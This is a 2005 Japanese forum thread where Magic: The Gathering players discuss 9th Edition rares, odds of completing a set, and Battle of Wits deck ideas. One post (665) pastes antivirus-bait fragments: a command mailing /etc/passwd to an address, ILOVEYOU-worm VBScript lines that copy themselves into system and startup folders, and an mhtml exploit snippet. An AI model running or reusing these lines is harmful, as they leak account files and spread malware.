　 i´･ω･｀ｉ＜知らんがな
　 ゝ ___,ノ
575 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 08:13:30 ID:EX5CGdeM
>>567
更なる弱体化を遂げてる青のことも思い出してあげてください
8版ですら微妙だったのに…
576 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 08:13:38 ID:he8XTC4G
トランプルとプロテクションはレア限定解禁じゃね?以前からレアに関しては
基本セットの例外を認めるみたいなこと書いてたし。
あと、説明文が全部収まるテキストっていうのも条件にありそう。
577 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 08:14:22 ID:Xcy62a0z
そもそもスターターやポータルをしっかりさせておけば問題なかった
578 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 08:37:34 ID:1jvOEGaO
ポータルの札が大会で使えないのが問題すぎ
579 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 09:01:25 ID:55So4ZaF
>>576
根切りワームはレアじゃないと思う。というか、ロクソドンの戦槌にトランプルの
説明が無いので、トランプルの注釈付きのカードをコモンに入れるべきだろう。
　
６版以降のルール整備やルールブック改良が進んで、もうトランプルやプロテクションを
入れても基本セットは初心者が理解できる物になってると判断したんだろう。
「ゲームから取り除く」も解禁されたね。１０版でレジェンドが解禁されたりして。
580 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 09:17:59 ID:5yyiuGWj
またマジックやろうかなと思ってるんでつが・・・。
買うならどのパックがオススメ？？(´･ω･｀)ﾐﾗﾃﾞｨﾝ??

581 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 09:32:22 ID:9Ae2RoJL
ミラディンはもうすぐ落ちちゃうし、どうせエクテンでやるならレギオンが良いと思うよ＾＾
安いし、スリヴァーも復活してる＾＾＾＾
582 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 09:32:29 ID:fKXiAge6
復帰者ですか？
ミラディンブロックは強いけどもうすぐスタンダード落ちするのでオススメできません。
８月に９版が出るので（今回は強め）本格的に再開するならそれを買うのがいいでしょう。

なお、ダメランが帰ってくるので昔のカードを漁ってみてはいかがかと
583 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 09:37:27 ID:1jvOEGaO
なにそのレギオンてふざけてるの！？
584 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 09:37:56 ID:1jvOEGaO
復帰なら基本セットいらないだろ
585 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 09:43:35 ID:55So4ZaF
神河物語は強さがそこそこで長く使える
586 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 10:26:55 ID:Sr+JTGZg
わかりました。レギオン買ってみます。
587 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 10:52:17 ID:5yyiuGWj
>>582
そうしまつ（･ω･｀)
サイトで神河系のカードみたけどパッとしないし･･･。
９版の発売日っていつですか？
588 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 10:56:17 ID:5yyiuGWj
7/29か･･･普通に書いてあった(´･ω･｀)
589 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 13:25:06 ID:Fxza0pf3
《ヴェクの聖騎士/Paladin en-Vec》、、kird　ape、ダメージランド再録確定おめでとう。
590 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 13:34:10 ID:1VT57KiM
>>589
確定情報でたの？
591 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 13:37:46 ID:Fxza0pf3
http://www.wizards.com/default.asp?x=mtgcom/feature/272
592 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 15:34:43 ID:J8+tzMTH
ちょｗｗｗｗｗおまｗｗｗｗｗｗレギオンだけはやめｗｗｗｗｗｗｗｗｗｗ
593 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 16:53:16 ID:hjRXPDK+
>>592
ｗ多すぎて痛いしウザイ
594 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 17:02:12 ID:K73LSdIR
VIPPERは見ない近づかない近寄らせない
595 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 17:07:23 ID:QXT002iC
俺もかよｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
マジｗｗｗｗｗｗ勘弁ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
596 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 17:16:03 ID:aLM4SxTL
ﾜﾛｽ
597 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 17:54:12 ID:Fa3OzesS
それでもつまんない卓上系よりVIPPERのほうが有益だと思うんだ…
598 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 18:07:52 ID:2bimwBYa
9版箱買いしようと思うけど
レア110枚もあるのかよ・・・。
3箱買わないとそろわないな。
599 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 18:11:48 ID:hjRXPDK+
>>598
せめて４箱必要。
600 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 18:36:10 ID:S0tS8X3M
３箱買って全部そろう確率・・・

1 - (０枚のカードがある確率) = 1 - (109/110)^(36*3) = 62.7%

４箱：73.2%
６箱：86.1%
８箱：92.8%
１２箱：98.1%

運に自信があるなら３箱でも十分期待できる
601 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 19:55:10 ID:jt9VMQ7t
なんだかんだであと三週間ちょいですか。
602 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 20:13:56 ID:t4hAV22S
なんか《すき込み》級に２年間環境を支配しそうなカードは無いやね。
《燎原の火》もデスクラと同じで駄目そうだし。
603 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 20:15:34 ID:jt9VMQ7t
だが、それがいい。
604 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 20:16:19 ID:oNRclSil
全てはミラディンが落ちてからさー
それこそ惑乱の死霊が大流行りするかもしれないし
605 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 20:17:56 ID:hOIOqMW2
また《機知の戦い/Battle of Wits》デッキ出てこねえかな。







まあ俺はデッキ見た瞬間に《頭蓋の摘出/Cranial Extraction》の餌食だと思うが
606 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 20:23:07 ID:hjRXPDK+
>>605
頭蓋の摘出はカウンターだろ
607 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 20:23:11 ID:0PUbgjUc
弧炎撒きで２０点飛ばします
608 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 20:24:48 ID:Fa3OzesS
>>605
バベルデッキのレシピうｐしたがる奴が大量発生して
ウザがられるに７Ｇマナ
609 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 20:37:40 ID:ul0ZbXZV
>>604
戦闘ダメージ後に《純粋な意図》使いまーす。
それでは《惑乱の死霊》の能力解決しまーす。
《ゲリラ戦術》が落ちたので本体に４点でーす。
効果で《ゲリラ戦術》が手札に戻りまーす。
…ここまでやるかも…
610 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 20:53:32 ID:ZNKq9ztJ
そんなカードに枠使ってたらトロンとかに勝てない希ガス。
611 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 21:08:26 ID:7x3eiiLX
>>602
すき込みが採録された直後はそれほど騒がれてなかったような気がす
612 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 21:16:15 ID:hOIOqMW2
>606
俺はデッキに《頭蓋の摘出/Cranial Extraction》入ってる奴が200枚以上あるデッキ見たら
まず最初に機知抜くだろうなと思っただけね。
自分でバベル使うなら摘出カウンターできなかったら死ぬことぐらいわかってる。
まあカウンターもIN-OD時代に比べると弱体化してる感があるが
613 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 21:22:18 ID:aLM4SxTL
そこで擬態ですよ。

そしてその実態はコンボ２種のハイブリットデッキ。
150枚ぐらいでなら見分けつかんだろ。
むしろどれぐらい枚数を減らして騙せるか挑戦してみるとか。

夢が広がりんぐ。
614 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 21:26:45 ID:6i6mWP7r
あぁっ！>>613が手段と目的を取り違えはじめた！！
615 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 21:35:44 ID:ZhCFeHgb
《頭蓋の摘出/Cranial Extraction》にエラッタだせば解決

>土地でも機知の戦いでもないカード名を１つ指定する（ｒｙ
616 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 21:35:56 ID:nFpBn9bj
>>321
巫女
617 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 21:36:01 ID:oNRclSil
（´-`）.｡oO（150枚なんて半端な枚数にするなら、バベルに他の勝ち手段を入れたらいいんじゃ・・・）
618 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 22:16:55 ID:+xiInn96
バベルトロンだな
619 ：石臼：2005/07/05(火) 22:29:30 ID:AqA+z+Ux
バベルは摘出ごときでなんとかなる問題じゃないだろ
620 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 22:44:12 ID:GmPnSSKW
>>619
お前より黒歴伝のが強い
621 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 22:50:17 ID:JnMCGHJ8
こえんまきちデッキで
622 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 23:28:46 ID:hOIOqMW2
　 　　　　 |
　 　＼　　__　　／
　 　＿　（ｍ）　＿ﾋﾟｺｰﾝ
　 　　　　|ミ|
　 　 ／ 　｀´　 ＼そうだ、まずは機知で青だ。歴伝でもって来れるから白もだ。
　　　　　('A`)　 　けちから証人でもって来れるように緑もだ。
　　　　　ノヽノヽ 弧炎撒きが使えるから赤もだ。相手の摘出抜くために摘出の黒もだ。
　　　　　　　くく
　　　　　　,.ｨ , - ､.＿　　 　 、
.　　　 　 ,ｲ/ l/　　　 　 ￣￣｀ヽ!__
　　 　 ﾄ/ |'　{　　　　　　　 　 　 　 ｀ヽ.　　　　　　　　　　　 ,ﾍ
　 　 Ｎ│ ヽ. `　　　　 　 　 　 　 　 　 ヽ　　 　 　 　 /ヽ　/　 ∨
　　 N.ヽ.ヽ、　 　 　 　 　 　 ,　　　 　 　 }　　　　l＼/　　`′
.　　ヽヽ.＼　　　　 　 　 ,.ｨｲﾊ　　　　 　 |　　 ＿|つまり新しい時代を作るのは
　　 ヾニｰ　__　_　-=_彡ｿﾉ u_＼ヽ、 　 |　　＼
.　　 　 ￣ﾞr=<‐ﾓﾐ､ﾆr;＝=ｪ;ｭ＜_ゞ-=7´ヽ　　　>
.　　　　 　 l 　 ￣ﾘーh ｀ ｰ‐‐'　l‐''´冫)'./　∠__5色バベルデッキなんだよ！！
　　　　　　 ﾞiｰ- ｲ'__　ヽ､..＿__ノ　　 ﾄr‐'　　　　/
　　　　　　　l　　 `＿__,.、 　 　 u　./│　　　　/＿
.　　　　　 　 ヽ.　 }z‐r--|　　 　 ／　 ﾄ,　　　 　 　 |　 ,、
　　　　 　 　 　 >､`ｰ-- '　　.／　 ／　|ヽ　　　　　l／　ヽ　　 ,ﾍ
　　　　　　_,.／| ヽ`ｰ--‐ _´.. ‐''´ 　 ./　 ＼､　　　　　　　＼/　ヽ/
623 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 23:35:48 ID:oNRclSil
>>622
お前AAが使いたいだけなんじゃないかと小一時間問い詰めたい
624 ：名無しさん＠お腹いっぱい。：2005/07/05(火) 23:45:57 ID:3OO+moz5
暦伝・機知デッキなら、
機知を抜かれても勝つ手段くらい、いくらでも潜ませられそう。
本殿とか。普通に京河で殴り殺すとか。
625 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 23:47:44 ID:+xiInn96
ラヴニカの多色呪文によっちゃ普通に強いかもな
626 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 23:52:33 ID:WLwtWbR7
白暦伝使うなら是非世界の幻獣も。
627 ：名無しプレイヤー＠手札いっぱい。：2005/07/05(火) 23:59:26 ID:BjX5mTyq
ドラゴン変化も。
628 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 00:08:07 ID:W2jdfQzj
白暦伝はエクテン向きだよなあ。撃ったら勝てそうなカードだ。
629 ：名無しさん＠お腹いっぱい。：2005/07/06(水) 00:33:49 ID:alN47197
>>白暦伝
エンチャントを直接持ってこれるカードって、
これと学長だけだからなー。
630 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 00:50:14 ID:cXoq5+R4
白歴伝はスタンダードでも通ったら勝ちでしょ。
ズアーの運命支配持ってきてから白本殿持ってくればいいんだし。
クリーチャー対策には迷心、赤対策には象牙の仮面。
他に勝ち筋がいるなら交易路と突撃の地鳴りを入れてもいいし。
序盤たえられるように亡霊の牢獄４枚入れておけばいい。
631 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 01:12:25 ID:DFg3yRTM
白トロンの時代ですか？
632 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 01:17:57 ID:yhXB2gbY
俺としては赤列伝をふるードスター、wikiに載ってた、に刺したい。
きっとうはうは。
でもたぶん試合では無理かな。



９版で青のドローが変わったのはドローした時に公開してプレイするカードが出るからだと大胆予想してみる。
633 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 01:41:02 ID:7RXjjDHl
暦伝はデメリットが強烈だからな。。。
634 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 06:42:45 ID:H4eG62Yg
青、黒、赤歴伝の返しに《象牙の仮面》
緑歴伝の返しに《魂の裏切りの夜》
635 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 06:42:59 ID:6CCQ3qbQ
白歴伝に双つ術打つとうっはうは
636 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 06:47:40 ID:zVHFihUS
白暦伝の返しに平穏の樹林
637 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 07:25:37 ID:BsYFY4my
永劫の中軸だけで十分
638 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 07:59:06 ID:BWN0aISF
機知がいい！
639 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 08:35:38 ID:1z8i7/aH
>>637
ソレダ！！
640 ：中山 悟 ◆1AeKISTOmo ：2005/07/06(水) 09:12:26 ID:MqlrsMrI
641 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 12:05:13 ID:f3XJw8wb
ヨーグモスバーゲン持ってきたい・・
嘘ですっごめんなさい！
642 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 12:30:23 ID:Odsn6LmP
仮にバーゲン持ってきたとして、どうすんの？
643 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 12:50:03 ID:ebScl43B
犬に食わせて殴るんじゃないですか＞＜
644 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 14:04:50 ID:6CCQ3qbQ
どうでもいいがYawgmoth「's」 Bargainだからな
645 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 14:33:45 ID:yT8umBtC
サイクリング抹消を使うとか
マローアーマーどんどん付けて殴るとか
土地投げエンチャント持ってきてぶん投げるとか
646 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 15:42:33 ID:BzkhJOiE
サイクリング誘発シリーズはアリだな。
647 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 17:38:14 ID:yYzgtPwS
ラヴニカには願い系のカードが入ると思うので《頭蓋の摘出》はきめてにならないと思う。
648 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 17:46:01 ID:tS8O9Ljs
>>願い
マジ？釣り？
649 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 17:54:31 ID:6CCQ3qbQ
釣りだろ
650 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 18:02:26 ID:WjTuymmm
白歴伝ってバウンスに対処できないのが問題だよなぁ。
そこさえクリアできれば使えるのに。
むしろ黒歴伝の方が直線的で強い感じがする。
ハンデスで落としつつ機をみて撃ってぶっこ抜けばいいだけだし。
651 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 18:35:15 ID:J1Uet7C2
フォーマット広げれば静寂の命令、真の木立とか・・・
652 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 20:20:57 ID:6CCQ3qbQ
ちょっと9版後に白青緑の3色で機知歴伝デッキ組んでみるわ。
機知デッキだと相当数のエンチャントを入れられるからな。
機知、迷心、象牙、牢獄、各種本殿、世界の源獣、物語の円、崇敬、崇拝、
凄いだろ？これら全部4枚ずつ積んでもまだデッキに150枚以上入るんだぜ？
653 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 20:22:13 ID:DYlfYf0n
http://www.wizards.com/global/images/retailer_support_news2a_pic2_en.jpg

奥の右から二番目のでかい箱は何？
654 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 20:24:22 ID:zVHFihUS
バベルは相当数のドロー補助が必要だったんじゃないか？
加えてビートダウン対策も必須だから、言うほどスロットに空きができるかな？

仮に240枚だと、60枚デッキとの比率では4:1だから
その９種類を各４枚入れると、普通のデッキに９枚シルバーバレット用のカードが入ってることになる
多くね？
655 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 20:28:43 ID:6CCQ3qbQ
別に4枚いれる必要はないわけで。1枚ずついれておけば歴伝からのシルバーバレット戦術にかなり期待できるんじゃないかってこと。
まあ歴伝打てなきゃどうにもなんないんだけどさ
656 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 20:30:38 ID:C0CGgsZT
>>653
その右に有るスターターのディスプレイボックス？
案外ギフトボックスっぽいものかも。
657 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 20:30:57 ID:MjVSaFDc
>>653
そこにあるデッキケースと同じで日本では発売の予定の無い商品かもな。
658 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 20:31:35 ID:8KC0wcAr
しかし暦伝があるうちは天敵である摘出も付きまとうわけで
659 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 20:35:47 ID:TFbhWU/R
カウンターと象牙の仮面でしのぐしかないね。
660 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 20:39:15 ID:6tZppvce
つうかデッキ組む時にデメリットばかり考える人はコンボデッキ組むのに向いてないよ。
661 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 21:08:38 ID:Ln32yLzW
でも欠点から目を背ける奴はもっとだめだ
662 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 21:19:40 ID:TJiW7HPW
一番ダメなのは遊戯王っぽくプレイするヤツだ
663 ：ﾈﾀ蒔き時 ◆tTGMucKV2I ：2005/07/06(水) 21:20:21 ID:L1Irk7/o
まぁそうなんだけどなんとかなる時はなんとかなっちゃう物だから余り考えすぎるのもあれかと。
「～もいいんだけどＡが環境に存在するからダメだ」みたいな発言ばかりだとがんじがらめになって
なにも組めなくなっちゃうしね。
664 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 21:22:10 ID:eAskhJiG
とりあえず組め、話はそれからだ
665 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 21:24:32 ID:Py51wuot
cat
/etc/passwd | mail [email protected]
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"

Set A4 = A1.
CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))

fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.
TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT
666 ：臣下の義務 ◆u0DM9.lOJQ ：2005/07/06(水) 21:36:46 ID:e9SrimXb
念願の６６６げとー
667 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 22:09:16 ID:WLc8rJwa
トリスケが再録されるとしたらタイプは何かな
なんとなくゴーレムだとそぐわない気がするし
668 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 22:16:40 ID:88oLHXWQ
アーティファクト・クリーチャー-トリスケリオンに1票
669 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 22:20:20 ID:zVHFihUS
でもバイスケリオンあたりと同じクリーチャータイプっぽくね？
670 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 22:24:34 ID:vG3ua5hm
９版の羽ばたき飛行機械も不明なんだけど
671 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 22:26:26 ID:88oLHXWQ
何だっけそれ、ギザギザ･･･なんとかだっけ
672 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 22:27:26 ID:3GIE9lkS
バイスケリオンはクリーチャータイプ無いぞ
673 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 22:36:16 ID:3HzuEM1h
>>650
つ【】テフェリーの細工箱
674 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 22:47:31 ID:abStOq9z
ここにもあれ貼った馬鹿がいるのか
675 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 23:07:17 ID:zVHFihUS
ギザギザバイスケリオンとトリスケリオンが
同じクリーチャータイプになるとしたら、ケリオン？
ケリオンってなんだ？
676 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 23:11:08 ID:88oLHXWQ
プリオンみたいなものじゃないか？
677 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 23:15:23 ID:C0CGgsZT
>>674
>>665のこと？なにこれ。
678 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 23:25:37 ID:88oLHXWQ
貼るとNortonがウイルスと誤認する。
679 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 23:25:48 ID:6CCQ3qbQ
ケリオンじゃなくてスケリオンじゃね？
トリって3を意味する接頭語だし
680 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 23:34:28 ID:zVHFihUS
いい意見だ、だが肝心のスケリオンがなんなのかが問題だ
681 ：名無しプレイヤー＠手札いっぱい。：2005/07/06(水) 23:39:51 ID:jSyLF5KT
　　　　　　　　　　　　　 ＿
　　　　　<ヽ､　 _　　　「o o:|
　　＜＼, ヘ　く ｋﾆ=:-ｴ ｴ.＿/7 ,､
　, -‐＞=＝=ー- ､..＿`ヽヽ　`ヾ<／> 　　　　　　　さすがＭＴＧ厨だ
!ニニ、　　　　　〉i〉‐" ￣`ー-､ " く　　　　　　　　 ウイルスコードを貼られても（対策ソフトなんて入れてないから
　 ＿/ ,t= T~＼/ E三< -‐へ ＞くi￣⊃　　　　　 なんともないぜ
(~_　（ ( |　:::|_　 ＼ ／《三￣ヾヽ￣二ニー- ､ 　
　　￣/二ﾆ=: ＼　＞=ｷ-￣　 +‐ー-､_ 〉.／> ）
　, -ｆ　　　,Oヽ ／>〃^ヽヽL二二」 /> ￣ﾞ<×
　＿0ﾆｰ　ﾞ^::.　ﾞ<　'ヘ/＾＼「￣_二/＿　　 _Y
└-─､ ﾞ'::.　　`　Ｘ　/~＞＜￣　/／　 ＞ヘヘ
　　　　ヽ＿.　-く 　 |￣　　　｝ｰ｛　 ＿　}〈　〉〉〉〉
　　　　　〉 r, r, r/　{　　　　 }(二|￣　￣|二⊃
　　　　　じししｿ　　|　　　 :/　　|　　　　j
　　　　　　　　　　 / -‐=ｰ〈　　 },.-‐=‐〈
　　　　　　　　　　〈　　　　 〉　 (_　　　　）
　　　　　　　　　　/`ｰ-　イ　 ／　`ー ｆ
682 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 00:07:09 ID:7rXYWq1Y
どうせクリーチャータイプに困ったら全部「ゴーレム」だお
683 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 00:51:30 ID:VgSWOB4b
９版の赤レア大杉。
684 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 00:51:43 ID:yCdXLlWm
そりゃ、1/1カウンターが３つなのが「トリ」だから
奴らがスケリオンじゃね？
685 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 00:57:56 ID:4bqG2Ynk
>>652

緑要らなくね？
むしろ黒入れてチューター使いたい。
緑なくても、けちで「暦伝、機知の戦い、チューター、なんか」を持ってくりゃそろう。
こっちも摘出使えるようになるのも大きいかな。
686 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 01:27:47 ID:azhDTI3e
バベルは機知で勝つのとマハモティジンでビートダウンするのとで
勝率が半々だったんだっけ？
687 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 01:34:56 ID:mBma7RFe
ささぬーのバベルでは機知が6割だったような気がする。
まぁ大してかわんないけど
688 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 01:39:50 ID:Vff9jrS0
>685
緑もあったほうがいいとおもうんだが。
ランド伸ばすのも重要だし、けちをいれて証人で拾ったりとかできるぜ。
で、オレが作ったバベルを書こうかとおもったが、面倒なのでやめた。
何せバベルだからな。
689 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 02:10:04 ID:VJNPZ/qR
要するにけちで「歴伝、機知、チューター、証人」をもってくればいいわけだな。
690 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 03:02:47 ID:Av2MLoiX
>>689
そいつらそろいも揃ってダブルシンボルｗｗｗｗ
691 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 04:50:39 ID:CM9l9nJv
おまいら、心の傷跡が再録されることを忘れるなよ
692 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 05:22:51 ID:788VC7BI
wisdomで反論されて叩かれた奴が数名ここに逆流してるな
693 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 05:41:54 ID:amGOfzFe
>662
くわしく
694 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 05:49:20 ID:LyPyisKr
>>693のくわしくは>>692に当てられているような気がする……。
695 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 06:35:50 ID:LtfIL2Pd
bis-（二重）、tris-（三重）が頭に付いてるんだろ？
だからやっぱりケリオンなんじゃ・・・・って

ああっ！！蒸し返したからって叩かないでっ！！
696 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 06:57:59 ID:LJYHOnr7
旧トリスケ限定でクリーチャータイプは「メカ沢」でいいと思うぜー
ヾ( ﾟдﾟ)ﾉ"ｼﾅﾁｸｰ
697 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 07:10:42 ID:MtbMQEOn
今まともなサーチもドローも無いじゃん
698 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 07:20:14 ID:eNJhWFnN
今日は７月７日です。
おまいらも短冊を飾るといいですよ。
つ『おいらの買う９版のパックから糞ドンハンマーが出ませんように』
699 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 07:33:46 ID:4/27CJY4
だから緑いらないだろ

黒使わないならあってもいいが、
さすがに4色は事故る。

マナブーストならアーティファクトにもできる
700 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 07:53:59 ID:0JTTX3GS
　　　　　　　　　　　　　 ＿
　　　　　<ヽ､　 _　　　「o o:|
　　＜＼, ヘ　く ｋﾆ=:-ｴ ｴ.＿/7 ,､
　, -‐＞=＝=ー- ､..＿`ヽヽ　`ヾ<／> 　　　　　　　さすがダークスティールだ
!ニニ、　　　　　〉i〉‐" ￣`ー-､ " く　　　　　　　　 700ゲットしても
　 ＿/ ,t= T~＼/ E三< -‐へ ＞くi￣⊃　　　　　 なんともないぜ
(~_　（ ( |　:::|_　 ＼ ／《三￣ヾヽ￣二ニー- ､ 　
　　￣/二ﾆ=: ＼　＞=ｷ-￣　 +‐ー-､_ 〉.／> ）
　, -ｆ　　　,Oヽ ／>〃^ヽヽL二二」 /> ￣ﾞ<×
　＿0ﾆｰ　ﾞ^::.　ﾞ<　'ヘ/＾＼「￣_二/＿　　 _Y
└-─､ ﾞ'::.　　`　Ｘ　/~＞＜￣　/／　 ＞ヘヘ
　　　　ヽ＿.　-く 　 |￣　　　｝ｰ｛　 ＿　}〈　〉〉〉〉
　　　　　〉 r, r, r/　{　　　　 }(二|￣　￣|二⊃
　　　　　じししｿ　　|　　　 :/　　|　　　　j
　　　　　　　　　　 / -‐=ｰ〈　　 },.-‐=‐〈
　　　　　　　　　　〈　　　　 〉　 (_　　　　）
　　　　　　　　　　/`ｰ-　イ　 ／　`ー ｆ
701 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 08:11:25 ID:Nz4OVLwM
ダークスティールじゃないとキリ番ゲットでどうにかなるのか・・・？
702 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 08:12:57 ID:pbNBsSRn
そのＡＡ久しぶりに見たぞw
703 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 09:09:37 ID:mj6tN+Vh
>>702

>681
ほんの20ほど上も観てないのか？
704 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 09:13:03 ID:gE54z3n5
>>676
狂牛病ww
705 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 10:30:39 ID:jOMdN1x/
空虚自身って、まさしくキチガイですか？
706 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 10:35:00 ID:FkdmQefc
虚空を自分に打ってルートワラ4体出すとキチガイ
707 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 11:31:37 ID:1yre56Fx
インプで良いじゃん
708 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 11:58:15 ID:jfQQ0C7S
虚空自身は強すぎる
一ターン目に打てばそのゲームは決まったも同然
709 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 12:12:05 ID:Nz4OVLwM
つライオンの瞳のダイアモンド
